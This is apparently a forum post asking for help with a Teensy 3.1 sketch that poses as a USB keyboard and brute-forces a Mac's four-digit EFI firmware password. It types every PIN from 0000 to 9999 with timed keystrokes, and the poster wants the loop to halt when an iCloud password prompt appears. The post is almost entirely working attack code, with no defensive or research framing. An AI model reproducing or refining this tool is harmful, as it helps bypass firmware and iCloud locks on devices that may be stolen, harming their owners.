Go Down

Topic: Teensy 3.1 EFI and iCloud (Read 1 time) previous topic - next topic

patolava

Hello guys i have a question, in this code is posible stop loop when the screen change the efi password for iCloud password

THX very much

#include <usb_keyboard.h>


const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";


void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(500);
 
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(400); // duracion del proseso entre numero y numero
    digitalWrite(ledPin, LOW);
    delay(275);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
   Keyboard.release(KEY_ENTER);
 
  }
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
     digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(5000);
  }
 
  ++counter;
  fakecounter = counter;
 
}

Go Up